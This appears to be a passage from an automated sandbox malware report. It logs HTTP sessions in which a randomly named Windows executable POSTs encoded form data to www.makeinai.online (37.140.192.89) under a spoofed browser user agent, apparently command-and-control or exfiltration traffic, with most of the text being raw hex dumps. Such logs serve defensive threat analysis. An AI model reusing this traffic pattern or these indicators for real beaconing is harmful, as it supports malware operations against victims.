Dec 8, 2023 14:51:02.848145962 CET	1286	IN	Data Raw: a0 c5 7a e9 e3 b8 f3 4d 36 5a bd 4a 2c df e4 e4 e9 ca 75 ac 0f 34 5d 2f b7 9c 1e 8a 9f 36 18 53 1f cf f5 56 2f 07 cb 37 38 79 c6 78 81 e3 81 76 8e ca dd bc 72 af 85 32 9d b2 c8 a9 07 da 09 b5 24 79 a6 70 be 2d 15 1d d8 d3 bc 03 dd ad 10 12 3e 48 Data Ascii: zM6ZJ,u4]/6SV/78yxvr2$yp->H?r%G\U'T_dR!VIV0kgWsYe,BNP m\zAC9g3<_ms+E}&w3bY!Tb
Dec 8, 2023 14:51:02.848288059 CET	1286	IN	Data Raw: 8e 4f b6 88 a4 cf bc 7d 88 f9 c6 5f 87 1e 99 87 45 76 2e 60 6c 56 4e ed 5b 9b d5 dc b2 cf 73 cb 37 55 28 17 de df 9f 03 1c 32 fd 3a a5 5b 5d e6 ba 7b 34 ed c9 1d dd f4 41 b8 39 66 bc 32 4c 9e 60 5b 2f c2 fd f4 33 9d 3a a5 8f 5b 66 9a 3e 45 f6 e4 Data Ascii: O}_Ev.`lVN[s7U(2:[]{4A9f2L`[/3:[f>E*W_z)2fO3s`\z'Vk'wOG)>3[`+e,U=Tfy]lNhs\3<((5a
Dec 8, 2023 14:51:02.848998070 CET	1286	IN	Data Raw: 86 9a a6 75 c4 81 6e 0e 14 71 a8 aa 2a 1e e9 66 48 3f 34 38 ea d0 ef 19 15 84 da f0 b3 c3 0a 76 e8 5a 38 48 7f b1 c2 1f 9e 9f b3 be ce dc 60 e6 39 e5 de ce de 5b cf 59 5b e0 f8 2e 3e 36 9e 77 02 eb b9 2e 0d 65 51 4e 08 e4 85 f5 ed b7 df 32 49 8d Data Ascii: unqfH?48vZ8H`9[Y[.>6w.eQN2I('eh<gMJks(@2#?;O!9%\|JDj+( Pe:Gz%XT+$IUWT?Pp#X?\|oC;645g*Aq
Dec 8, 2023 14:51:02.849178076 CET	1286	IN	Data Raw: 8b 03 75 c1 08 13 5c d7 b1 77 20 59 b4 33 e2 c8 08 61 89 c0 a5 43 03 eb 05 67 74 5a b9 0c 05 9d 26 13 87 0a 5d 0a c3 40 c7 40 87 d1 95 d0 62 ca 60 83 35 e8 0d ac 9f b0 1c c3 a7 6c a0 af 23 2b e8 8a 28 84 2f 68 71 90 45 30 7f b0 1e 82 d4 c0 a2 c1 Data Ascii: u\w Y3aCgtZ&]@@b`5l#+(/hqE0?4,^pl_`4UV/6y+5s'dp#jZB3`/C~92u02s2p"T5iP+0Awd_FudDRZ4i&p<$bPE{ \|
Dec 8, 2023 14:51:02.850562096 CET	1286	IN	Data Raw: 67 a9 84 fe 61 a5 ea 60 f4 d0 29 1e 61 84 09 b7 51 60 8a ea 36 4e 0c 59 eb c4 5f 24 08 05 1d 26 84 4d b2 e9 01 30 20 ef 55 c3 d0 12 46 09 75 09 e3 63 d4 4b 99 42 82 06 6d 3a 89 60 bf d0 01 42 b9 23 1c c3 58 fb 60 48 3f 45 d4 46 2c ae e0 74 05 8d Data Ascii: ga`)aQ`6NY_$&M0 UFucKBm:`B#X`H?EF,t6F:#FNeh9u-&$"m_=QPE<BA(B@9TGr}o8ZqZ1p}3"4\hR!&RAdf0m L^(WGn`74]@H<a
Dec 8, 2023 14:51:02.850574970 CET	1286	IN	Data Raw: 8d d5 5a 2a d2 8d 64 2c 07 8a f4 a1 7a 13 53 14 bf 36 46 7f 88 4d 3a e6 dc 76 24 dc 99 c7 cd 20 5d c1 94 3b 53 5d d2 76 7f 4d fd 74 13 d4 c4 54 0f 1d e3 8b 7f 84 5a 8a 6e ab 2a 6d 6d c5 5f b4 95 81 d9 19 18 94 9d 89 14 18 67 3b 31 22 6e 9c 9a 94 Data Ascii: Zd,zS6FM:v$ ];S]vMtTZnmm_g;1"no5,esn$f@Sbjq6I!8P4`7:}d&li_YQBk0Kg(h51nU<})MS:&G
Dec 8, 2023 14:51:03.122236013 CET	1286	IN	Data Raw: fe 56 51 ca b7 c3 e0 ed 84 72 27 9e 76 26 0a 19 d3 b6 4c cd a0 4f f3 6b 95 ee b5 60 9f 98 01 06 33 73 04 eb 84 3e d4 fe 88 93 01 6f e8 10 55 98 bc a6 22 79 54 a3 43 9f 76 b1 1e bb 06 96 c4 94 59 e9 1b bc 2f 5c a1 29 a7 fe 0c c7 ba 61 d8 0a dd 54 Data Ascii: VQr'v&LOk`3s>oU"yTCvY/\)aT><M8d(}u3 ?(DUa7g'yC@*}4_}WKB~\|lR)s1%rbEA/O34Pksj6fVIo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49750	37.140.192.89	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:51:05.640383959 CET	767	OUT	POST /ahec/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.makeinai.online Origin: http://www.makeinai.online Referer: http://www.makeinai.online/ahec/ Cache-Control: no-cache Content-Length: 209 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 58 76 65 58 48 5a 76 78 3d 42 77 31 4a 49 64 62 4d 57 32 4b 6f 50 33 53 2b 4e 5a 6d 4a 30 33 4f 57 44 53 43 65 7a 49 6f 6c 56 4d 45 73 77 31 59 48 32 41 7a 69 2f 46 64 36 76 54 4a 72 67 50 55 2f 55 6c 77 57 46 45 67 38 58 73 69 69 38 37 5a 72 2b 55 45 4e 65 48 79 36 51 6b 47 69 6b 33 4f 56 51 2b 43 4f 66 75 56 37 75 68 6c 42 5a 37 44 79 55 64 78 4c 63 50 54 6f 38 55 37 45 64 70 55 7a 6e 6b 74 45 55 76 54 38 6c 53 76 72 4c 6f 65 56 70 71 54 31 39 6c 36 6d 78 54 77 4a 75 71 38 4c 75 59 45 73 46 6a 7a 32 61 73 52 57 76 2b 6e 66 62 5a 76 5a 42 47 46 67 38 69 39 50 34 31 69 48 43 7a 4b 56 4c 4a 63 65 47 51 73 78 65 67 38 3d Data Ascii: XveXHZvx=Bw1JIdbMW2KoP3S+NZmJ03OWDSCezIolVMEsw1YH2Azi/Fd6vTJrgPU/UlwWFEg8Xsii87Zr+UENeHy6QkGik3OVQ+COfuV7uhlBZ7DyUdxLcPTo8U7EdpUznktEUvT8lSvrLoeVpqT19l6mxTwJuq8LuYEsFjz2asRWv+nfbZvZBGFg8i9P41iHCzKVLJceGQsxeg8=
Dec 8, 2023 14:51:05.924487114 CET	1286	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Fri, 08 Dec 2023 13:51:05 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"64f9f107-377d8" Content-Encoding: gzip Data Raw: 36 30 30 30 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec bd ef 8e db 48 b2 2f f8 7d 9e 42 a5 83 b6 a5 31 a5 e2 7f 52 92 e9 9a 9e 1e f7 99 c6 99 9e 6e 8c fb f4 60 51 63 08 2c 89 2a b1 4d 89 ba 24 55 e5 72 b9 0e ee dd 27 d9 af fb ed ec 05 16 d8 c5 ee de 05 f6 09 e6 bc d1 46 44 92 14 ff 4a 49 51 e5 6a fb 4c 75 5b a2 c8 cc 88 cc c8 c8 c8 5f 44 06 c9 97 67 73 7f 16 dd 6d 9c ce 32 5a 79 af 5e e2 67 c7 b3 d7 d7 56 d7 59 77 e1 b7 63 cf 5f bd 5c 39 91 dd 99 2d ed 20 74 22 ab fb af 3f 7d 3b 30 e1 5a e4 46 9e f3 ea ef ff cb df ff fd ef ff db df ff c7 7f fc cf 7f ff f7 ce 7f fc 37 f8 f1 7f d2 e1 df ff fb 7f fc d7 bf ff ef 7f ff bf e1 df ff 03 ff fd 8f ce df ff 5f 38 f1 7f 40 c1 ff 86 d7 f1 d4 df ff fb df ff 2f ba fc ef 2f cf 19 b1 97 61 74 e7 39 9d 95 33 77 6d ab 6b 7b 5e f7 d5 f9 6f cf 7e fb b9 ff 9d fd f6 6f bf e9 74 b0 1f 9d 59 18 76 86 e7 6b 7f ee 4c 57 fe 7c eb 39 e1 39 9c 1a 78 be 3d 77 82 73 77 3d 77 de 0f 7f 09 2f 2e 66 9e bf 76 e6 7f 81 02 6f 9c 68 a0 0f b7 a1 73 29 bd 3d 2b 54 dd f8 61 94 a9 1e 06 b3 94 44 b1 28 fc 4b cb cd dd 30 3a 9f fd 12 b2 62 57 ce ea fc ca f3 67 ef c2 a1 3d b7 37 91 7b e3 9c 5f 0d 36 f6 75 f2 35 c4 ba 1d ec 07 f4 e2 6f 4f 2d cc d6 7f e7 bf 19 b2 7e dd 83 1c 36 9e 7d 37 5e 78 ce fb 09 7e 0c e6 6e e0 cc 22 d7 5f 8f 67 be b7 5d ad 27 b7 ee 3c 5a 8e 25 51 fc 6a b2 72 d7 03 f6 53 91 c5 cd fb c9 d2 71 af 97 11 bb b6 b1 e7 73 77 7d 3d d6 8c cd fb 8e d8 11 27 2b 3b b8 76 d7 63 71 02 74 fc 60 fc 4f 8a ae c2 ff 93 85 bf 86 1a 32 14 fa 6e 1d 39 81 f0 75 e0 da 9e f0 47 c7 bb 71 22 77 66 77 fe ec 6c 9d dd 4f e1 db c0 71 de d8 eb 50 08 e1 63 10 3a 81 bb 98 5c d9 b3 77 d7 81 bf 5d cf c7 ff b4 58 2c 26 83 5b e7 ea 9d 1b 0d 22 7b 33 58 42 8b 3c 6c d5 80 b1 8d 02 a8 b7 b1 03 67 1d 3d e0 d4 1e af fd a8 37 74 c3 69 32 d0 fd 4e 22 0b ff c6 09 16 9e 7f 3b 78 3f 5e ba f3 b9 b3 7e f8 1d 4d c3 4e 6f d7 6f 49 94 d5 cd fb fe 7d 96 c2 1e 02 0f f1 a5 29 1a 98 29 34 e3 1d 88 e8 1e c9 ed 44 77 b3 cc 97 72 82 c0 0f 18 c1 44 a6 e2 81 a6 4f 57 ce 7a 3b c0 c2 38 70 70 7d ee cc 85 e6 55 06 f6 0c cb 24 6c 07 91 bf 01 d6 cd 84 50 45 b7 40 f0 a1 61 13 24 d4 b5 13 34 a3 ba 7b 87 b4 22 57 3a 33 03 46 23 1d 5a 75 40 c8 70 c5 5d dc 0d ae 02 ff 16 54 77 7a e3 86 ee 95 97 a7 a9 a9 8d 3b 77 a0 4d 95 f2 e0 6d c9 6e 70 fc 2b d7 73 06 89 4e 4f 99 46 0b c9 e5 70 7b 85 22 9e fa 1b 07 ac 74 aa fa 89 e2 1f 90 cb 74 e1 fb 30 f9 07 73 ff 76 7d 50 51 ab 1b 72 a0 56 5d fb e2 8e 37 55 a7 43 e4 1a ab 67 65 a7 2a e8 0e dd dd b0 27 c6 9a 96 aa 87 2a 59 de a3 09 1f 4b 60 7f ed 6d e4 4f 8a a3 92 21 96 af 96 b7 48 5f 35 ed 4d 8e 56 45 1f 2a 8a 4d d3 ae 27 aa 58 aa 57 ac 06 9d a8 66 09 a6 1e 96 92 75 94 6a f3 95 1f 45 fe 0a 26 77 1d 09 f6 33 15 e8 1a 90 c6 ae 6c 4c 6d 70 1b d8 9b 0d 94 4a 16 32 92 69 6d b1 29 01 b7 29 82 8f 4c 4b 02 92 29 8a 2e 59 20 07 9e b3 60 67 f8 48 4d d7 ce 6d 81 9c 6a 16 c9 e1 99 83 73 ae d8 af 06 76 ac 49 67 c5 7c d3 1a 2f 20 7b db c9 55 a3 51 eb 1a 77 9d 16 e9 25 c0 4e 24 12 46 36 c0 94 b8 89 a6 78 c4 42 d5 98 fe 4e 6d 92 e5 2d 3b 7d 75 71 a7 1b f4 83 b0 98 07 70 77 40 52 19 20 79 a6 f0 87 3a 9e 92 4f 61 48 8a e9 3a 03 49 63 a4 1b 77 97 8f 6a b9 93 bb e9 58 00 a1 3b 3a 3b 5c 18 83 bf 7f 5a c8 0b 75 31 e2 ee 69 05 0f a6 76 c7 76 b2 96 60 45 ff c8 ff 03 03 Data Ascii: 6000H/}B1Rn`Qc,M$Ur'FDJIQjLu[_Dgsm2Zy^gVYwc_\9- t"?};0ZF7_8@//at93wmk{^o~otYvkLW\|99x=wsw=w/.fvohs)=+TaD(K0:bWg=7{_6u5oO-~6}7^x~n"_g]'<Z%QjrSqsw}='+;vcqt`O2n9uGq"wfwlOqPc:\w]X,&["{3XB<lg=7ti2N";x?^~MNooI}))4DwrDOWz;8pp}U$lPE@a$4{"W:3F#Zu@p]Twz;wMmnp+sNOFp{"tt0sv}PQrV]7UCge'YK`mO!H_5MVEM'XWfujE&w3lLmpJ2im))LK).Y `gHMmjsvIg\|/ {UQw%N$F6xBNm-;}uqpw@R y:OaH:IcwjX;:;\Zu1ivv`E
Dec 8, 2023 14:51:05.924539089 CET	1286	IN	Data Raw: ee db d1 18 75 93 21 65 43 14 3b d8 cd 73 45 6c 03 99 3d 77 ed 24 2a a2 99 59 db 93 e7 3f 80 82 ef ee 23 e7 7d 34 98 3b 33 3f b0 c9 13 c8 db c7 8a 1a e3 25 5a ef 52 3d 18 09 27 40 d6 75 95 51 62 ac df 89 29 76 d7 35 e5 dd c8 59 dd 83 b7 47 bf c6 Data Ascii: u!eC;sEl=w$Y?#}4;3?%ZR='@uQb)v5YG(I~.';<N6Nz$jvn^_aVa5Nmz]R0T=j0d9v0E\|9-Eq=%l)MF1qax
Dec 8, 2023 14:51:05.924757957 CET	1286	IN	Data Raw: 83 53 15 67 c3 f2 c9 d2 89 2b ff 3d ce 61 5c 32 52 13 f6 be 18 25 f3 37 91 bb 82 59 fd 27 70 41 ae 5c cf 8d ee 1e 52 79 0b e9 d1 98 65 fd 65 4e c4 7b d5 18 81 63 6b c7 50 96 c3 8e 63 87 ce c0 5d 0f fc 6d b4 23 73 09 c3 63 83 1f 31 7f bb ab 3f c5 Data Ascii: Sg+=a\2R%7Y'pA\RyeeN{ckPc]m#sc1?g\I6KzQqCua'c'{23^bx%)orLBPIzIDVdB(^ -.,#4~>#FU!e%_RM@&D=~^5tW^b{%QV68o}
Dec 8, 2023 14:51:05.924849033 CET	1286	IN	Data Raw: ad 53 c1 60 6e 1e 8f 19 da 7d 2c 49 f1 02 dd 83 d5 0f c0 db 83 f5 0f 80 da cc 0d 3c ec 19 33 9b c0 5d d9 c1 dd 7d f9 bd 09 a2 38 13 4d b5 ae 42 56 82 f8 28 04 7a 5a 80 50 53 38 7e 96 40 15 8f b9 3d d2 eb 78 c4 8f 28 a8 ac 67 1b 86 5c 57 6f b0 76 Data Ascii: S`n},I<3]}8MBV(zZPS8~@=x(g\WovnRlw?46-T,XhlDUvU}OdVxoMm-?(^]#3,5UJ1EY!9$cE->i*MoUWeA!
Dec 8, 2023 14:51:05.924977064 CET	1286	IN	Data Raw: a0 c5 7a e9 e3 b8 f3 4d 36 5a bd 4a 2c df e4 e4 e9 ca 75 ac 0f 34 5d 2f b7 9c 1e 8a 9f 36 18 53 1f cf f5 56 2f 07 cb 37 38 79 c6 78 81 e3 81 76 8e ca dd bc 72 af 85 32 9d b2 c8 a9 07 da 09 b5 24 79 a6 70 be 2d 15 1d d8 d3 bc 03 dd ad 10 12 3e 48 Data Ascii: zM6ZJ,u4]/6SV/78yxvr2$yp->H?r%G\U'T_dR!VIV0kgWsYe,BNP m\zAC9g3<_ms+E}&w3bY!Tb
Dec 8, 2023 14:51:05.925085068 CET	1286	IN	Data Raw: 8e 4f b6 88 a4 cf bc 7d 88 f9 c6 5f 87 1e 99 87 45 76 2e 60 6c 56 4e ed 5b 9b d5 dc b2 cf 73 cb 37 55 28 17 de df 9f 03 1c 32 fd 3a a5 5b 5d e6 ba 7b 34 ed c9 1d dd f4 41 b8 39 66 bc 32 4c 9e 60 5b 2f c2 fd f4 33 9d 3a a5 8f 5b 66 9a 3e 45 f6 e4 Data Ascii: O}_Ev.`lVN[s7U(2:[]{4A9f2L`[/3:[f>E*W_z)2fO3s`\z'Vk'wOG)>3[`+e,U=Tfy]lNhs\3<((5a
Dec 8, 2023 14:51:05.925363064 CET	1286	IN	Data Raw: 86 9a a6 75 c4 81 6e 0e 14 71 a8 aa 2a 1e e9 66 48 3f 34 38 ea d0 ef 19 15 84 da f0 b3 c3 0a 76 e8 5a 38 48 7f b1 c2 1f 9e 9f b3 be ce dc 60 e6 39 e5 de ce de 5b cf 59 5b e0 f8 2e 3e 36 9e 77 02 eb b9 2e 0d 65 51 4e 08 e4 85 f5 ed b7 df 32 49 8d Data Ascii: unqfH?48vZ8H`9[Y[.>6w.eQN2I('eh<gMJks(@2#?;O!9%\|JDj+( Pe:Gz%XT+$IUWT?Pp#X?\|oC;645g*Aq
Dec 8, 2023 14:51:05.925404072 CET	1286	IN	Data Raw: 8b 03 75 c1 08 13 5c d7 b1 77 20 59 b4 33 e2 c8 08 61 89 c0 a5 43 03 eb 05 67 74 5a b9 0c 05 9d 26 13 87 0a 5d 0a c3 40 c7 40 87 d1 95 d0 62 ca 60 83 35 e8 0d ac 9f b0 1c c3 a7 6c a0 af 23 2b e8 8a 28 84 2f 68 71 90 45 30 7f b0 1e 82 d4 c0 a2 c1 Data Ascii: u\w Y3aCgtZ&]@@b`5l#+(/hqE0?4,^pl_`4UV/6y+5s'dp#jZB3`/C~92u02s2p"T5iP+0Awd_FudDRZ4i&p<$bPE{ \|
Dec 8, 2023 14:51:05.925816059 CET	1286	IN	Data Raw: 67 a9 84 fe 61 a5 ea 60 f4 d0 29 1e 61 84 09 b7 51 60 8a ea 36 4e 0c 59 eb c4 5f 24 08 05 1d 26 84 4d b2 e9 01 30 20 ef 55 c3 d0 12 46 09 75 09 e3 63 d4 4b 99 42 82 06 6d 3a 89 60 bf d0 01 42 b9 23 1c c3 58 fb 60 48 3f 45 d4 46 2c ae e0 74 05 8d Data Ascii: ga`)aQ`6NY_$&M0 UFucKBm:`B#X`H?EF,t6F:#FNeh9u-&$"m_=QPE<BA(B@9TGr}o8ZqZ1p}3"4\hR!&RAdf0m L^(WGn`74]@H<a
Dec 8, 2023 14:51:05.925882101 CET	1286	IN	Data Raw: 8d d5 5a 2a d2 8d 64 2c 07 8a f4 a1 7a 13 53 14 bf 36 46 7f 88 4d 3a e6 dc 76 24 dc 99 c7 cd 20 5d c1 94 3b 53 5d d2 76 7f 4d fd 74 13 d4 c4 54 0f 1d e3 8b 7f 84 5a 8a 6e ab 2a 6d 6d c5 5f b4 95 81 d9 19 18 94 9d 89 14 18 67 3b 31 22 6e 9c 9a 94 Data Ascii: Zd,zS6FM:v$ ];S]vMtTZnmm_g;1"no5,esn$f@Sbjq6I!8P4`7:}d&li_YQBk0Kg(h51nU<})MS:&G
Dec 8, 2023 14:51:06.204268932 CET	1286	IN	Data Raw: fe 56 51 ca b7 c3 e0 ed 84 72 27 9e 76 26 0a 19 d3 b6 4c cd a0 4f f3 6b 95 ee b5 60 9f 98 01 06 33 73 04 eb 84 3e d4 fe 88 93 01 6f e8 10 55 98 bc a6 22 79 54 a3 43 9f 76 b1 1e bb 06 96 c4 94 59 e9 1b bc 2f 5c a1 29 a7 fe 0c c7 ba 61 d8 0a dd 54 Data Ascii: VQr'v&LOk`3s>oU"yTCvY/\)aT><M8d(}u3 ?(DUa7g'yC@*}4_}WKB~\|lR)s1%rbEA/O34Pksj6fVIo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49751	37.140.192.89	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:51:08.451260090 CET	10849	OUT	POST /ahec/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.makeinai.online Origin: http://www.makeinai.online Referer: http://www.makeinai.online/ahec/ Cache-Control: no-cache Content-Length: 10289 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 58 76 65 58 48 5a 76 78 3d 42 77 31 4a 49 64 62 4d 57 32 4b 6f 50 33 53 2b 4e 5a 6d 4a 30 33 4f 57 44 53 43 65 7a 49 6f 6c 56 4d 45 73 77 31 59 48 32 41 37 69 2f 58 56 36 76 79 4a 72 6e 50 55 2f 64 46 77 56 46 45 68 6b 58 73 36 6d 38 37 63 63 2b 53 49 4e 59 68 4f 36 59 31 47 69 71 33 4f 56 63 65 43 50 41 65 56 75 75 68 30 47 5a 2f 6e 79 55 64 78 4c 63 4d 37 6f 31 6c 37 45 66 70 55 77 6d 6b 74 2b 66 50 53 52 6c 54 47 57 4c 70 65 76 71 63 6a 31 39 42 57 6d 39 46 45 4a 6e 71 38 4e 74 59 46 71 46 6a 33 54 61 76 30 74 76 37 61 30 62 62 7a 5a 44 43 59 43 34 77 4a 58 71 32 36 61 56 41 54 35 50 72 39 69 53 44 39 72 46 55 62 7a 67 4d 57 5a 55 70 30 36 6e 58 61 74 33 77 66 4b 58 74 63 2f 34 69 54 43 4e 46 7a 5a 4e 2f 73 73 57 4a 74 74 4d 55 56 41 49 6b 70 77 6a 51 39 53 79 73 51 33 76 78 38 6c 38 57 76 70 62 46 46 4b 55 36 4c 45 7a 43 6c 49 49 70 43 2f 39 6c 2b 51 51 52 65 38 4e 43 32 2f 65 6a 67 65 4f 4a 64 6f 74 6c 6f 41 68 4b 37 67 4b 67 70 44 47 73 72 6c 6d 7a 39 41 4c 6f 50 76 33 6d 48 69 43 6e 78 5a 48 6a 46 36 33 50 78 75 7a 4d 65 4e 66 4b 44 75 70 6b 6a 55 53 2f 73 5a 58 46 73 48 34 75 6e 2b 68 39 30 48 6b 68 34 4c 6e 56 62 42 30 61 56 68 50 6b 4d 59 64 4d 43 4a 65 4a 55 5a 58 4b 53 4d 62 74 77 36 36 42 47 51 48 71 59 74 72 49 68 33 6d 33 62 56 6b 76 4d 61 73 67 75 41 74 53 36 54 4d 56 46 4b 72 47 34 4f 70 4c 4f 63 51 2f 75 34 36 46 39 4c 61 48 74 78 37 2f 48 79 46 42 2f 78 35 54 38 30 78 59 50 64 76 34 54 44 2f 35 4a 68 78 50 71 51 65 5a 46 76 78 38 56 2f 59 70 32 67 6d 48 42 73 65 74 30 75 74 6e 65 4a 2f 49 34 43 36 2b 6a 57 53 61 4a 6f 54 42 4f 73 49 59 43 49 59 6c 42 76 51 35 63 32 49 78 6f 6d 6c 75 59 59 6a 55 78 43 72 69 44 2b 45 6f 32 51 45 70 62 59 34 65 61 6c 30 6f 35 72 68 71 66 42 4a 4b 46 52 2b 64 41 52 59 32 6e 41 6a 43 39 4d 38 36 5a 61 42 78 57 75 2b 30 78 62 74 6a 55 43 31 35 66 6e 4f 34 70 7a 42 61 68 67 48 54 4a 75 48 53 32 39 52 32 54 6a 58 79 52 68 73 37 62 49 47 75 70 61 31 4e 77 41 33 75 4d 48 36 31 74 78 4a 53 4e 77 4d 2b 42 6a 5a 75 39 47 63 46 5a 66 55 77 6d 51 65 6b 72 33 41 66 76 73 56 58 6b 42 37 4b 52 39 70 41 2b 4b 66 75 42 4c 47 2f 48 4f 34 4d 54 79 36 61 79 4f 69 32 2f 65 51 4e 77 34 54 54 7a 4d 58 6e 6e 7a 6b 67 67 70 47 4f 6f 2b 30 4c 37 66 6f 79 71 62 53 58 52 6a 38 70 36 6c 50 47 7a 43 67 46 38 6e 50 46 67 6e 52 7a 6e 72 53 30 41 42 4f 63 4d 4b 57 52 66 77 53 64 43 75 70 55 7a 4e 30 52 48 68 30 6e 69 62 2f 46 63 4f 6e 31 48 33 71 6f 48 6c 76 45 73 6e 54 36 55 67 50 31 33 37 38 31 53 70 48 73 50 77 42 61 39 6a 6c 4b 65 4f 70 63 7a 59 4d 4a 76 31 4d 50 39 36 52 37 45 63 39 35 6f 65 38 38 2f 62 52 63 61 65 34 42 75 4c 53 51 2b 66 69 64 64 42 2b 6c 72 64 64 50 59 72 41 46 57 5a 68 72 52 78 4a 67 41 37 2b 6e 52 33 39 47 77 38 47 33 50 7a 77 62 39 4c 57 71 4c 32 37 31 6b 32 6f 4d 74 65 33 31 67 56 79 51 54 46 58 57 2f 70 52 51 45 64 73 4c 5a 6f 38 2f 59 57 76 77 45 5a 66 6b 54 59 31 6a 6f 76 46 52 71 39 6b 45 32 62 61 2f 52 30 6c 6a 6b 4e 37 30 4c 34 42 71 4f 46 45 6d 72 77 4c 56 41 79 30 65 57 37 70 71 4b 4c 4e 77 61 67 46 78 30 72 6b 6b 45 57 69 55 4a 76 73 53 4b 58 74 54 67 38 5a 4c 52 6a 75 66 53 2b 49 38 41 79 58 57 71 59 41 34 73 32 39 66 43 46 78 4a 72 6a 58 6b 30 42 68 70 6e 67 59 75 59 6d 58 69 6f 46 2f 34 6d 42 47 44 69 59 71 51 32 6e 59 6e 45 78 37 54 36 74 44 59 4f 34 32 66 6f 77 58 56 34 45 64 71 4c 72 6e 52 67 71 34 53 62 4e 69 41 37 2b 45 38 7a 72 51 59 50 68 45 36 78 32 65 71 4f 70 41 4a 32 44 4c 62 31 67 6a 68 4b 36 68 38 42 62 68 6e 71 4f 54 74 78 49 75 46 37 69 48 72 78 48 66 76 44 4c 58 2b 35 4b 53 43 63 6e 7a 62 4d 4e 51 47 46 57 51 67 64 49 32 4b 34 6c 6a 4f 36 66 4b 53 6a 49 4e 2b 59 77 73 34 48 4a 6a 4a 43 53 43 35 65 73 69 30 4f 77 43 67 6c 70 79 44 43 62 64 49 6a 71 69 6d 55 48 4d 5a 69 62 6d 61 75 73 67 52 53 52 72 42 51 37 67 76 4f 2b 2f 78 73 2b 78 58 73 77 44 41 59 4e 33 62 48 42 52 58 44 57 75 52 71 2b 4e 59 31 64 4c 6b 6e 52 49 41 4b 43 5a 48 61 38 57 42 47 77 65 6b 46 71 37 45 53 65 4b 78 46 42 36 76 57 63 78 41 75 76 31 78 68 41 55 41 6c 73 42 6b 63 70 30 55 65 72 77 43 4f 32 64 37 63 79 5a 6d 6d 48 57 73 49 48 79 35 53 48 44 53 39 56 6c 37 37 2b 66 32 Data Ascii: XveXHZvx=Bw1JIdbMW2KoP3S+NZmJ03OWDSCezIolVMEsw1YH2A7i/XV6vyJrnPU/dFwVFEhkXs6m87cc+SINYhO6Y1Giq3OVceCPAeVuuh0GZ/nyUdxLcM7o1l7EfpUwmkt+fPSRlTGWLpevqcj19BWm9FEJnq8NtYFqFj3Tav0tv7a0bbzZDCYC4wJXq26aVAT5Pr9iSD9rFUbzgMWZUp06nXat3wfKXtc/4iTCNFzZN/ssWJttMUVAIkpwjQ9SysQ3vx8l8WvpbFFKU6LEzClIIpC/9l+QQRe8NC2/ejgeOJdotloAhK7gKgpDGsrlmz9ALoPv3mHiCnxZHjF63PxuzMeNfKDupkjUS/sZXFsH4un+h90Hkh4LnVbB0aVhPkMYdMCJeJUZXKSMbtw66BGQHqYtrIh3m3bVkvMasguAtS6TMVFKrG4OpLOcQ/u46F9LaHtx7/HyFB/x5T80xYPdv4TD/5JhxPqQeZFvx8V/Yp2gmHBset0utneJ/I4C6+jWSaJoTBOsIYCIYlBvQ5c2IxomluYYjUxCriD+Eo2QEpbY4eal0o5rhqfBJKFR+dARY2nAjC9M86ZaBxWu+0xbtjUC15fnO4pzBahgHTJuHS29R2TjXyRhs7bIGupa1NwA3uMH61txJSNwM+BjZu9GcFZfUwmQekr3AfvsVXkB7KR9pA+KfuBLG/HO4MTy6ayOi2/eQNw4TTzMXnnzkggpGOo+0L7foyqbSXRj8p6lPGzCgF8nPFgnRznrS0ABOcMKWRfwSdCupUzN0RHh0nib/FcOn1H3qoHlvEsnT6UgP13781SpHsPwBa9jlKeOpczYMJv1MP96R7Ec95oe88/bRcae4BuLSQ+fiddB+lrddPYrAFWZhrRxJgA7+nR39Gw8G3Pzwb9LWqL271k2oMte31gVyQTFXW/pRQEdsLZo8/YWvwEZfkTY1jovFRq9kE2ba/R0ljkN70L4BqOFEmrwLVAy0eW7pqKLNwagFx0rkkEWiUJvsSKXtTg8ZLRjufS+I8AyXWqYA4s29fCFxJrjXk0BhpngYuYmXioF/4mBGDiYqQ2nYnEx7T6tDYO42fowXV4EdqLrnRgq4SbNiA7+E8zrQYPhE6x2eqOpAJ2DLb1gjhK6h8BbhnqOTtxIuF7iHrxHfvDLX+5KSCcnzbMNQGFWQgdI2K4ljO6fKSjIN+Yws4HJjJCSC5esi0OwCglpyDCbdIjqimUHMZibmausgRSRrBQ7gvO+/xs+xXswDAYN3bHBRXDWuRq+NY1dLknRIAKCZHa8WBGwekFq7ESeKxFB6vWcxAuv1xhAUAlsBkcp0UerwCO2d7cyZmmHWsIHy5SHDS9Vl77+f2qj0e92MfPrFoS31+t/1ccPmFwotyGRtqDKWPiUFm3D7E9O4Mv1RHmnxCdJCZquN/8fxcItjM8vu0PNr1UhxTg6CjX0JJ7YoTcKvvVGStiKZD27AQ5lMD5kkBY2a3pmntBYUIssw+mzKgN8nMXvcMRx97w7VSsgo5a2B6ZtoU3Rlw4P1gRvSDdAgvEO/TSWeCuztS2tZmcw2xLk5n87vVTu6pYHhcuDVsdgAlt9bJKH6yC7EzVkKSIRnaxTwKzUZcyn9ii7p7WPICyJc3bWHWSMK8m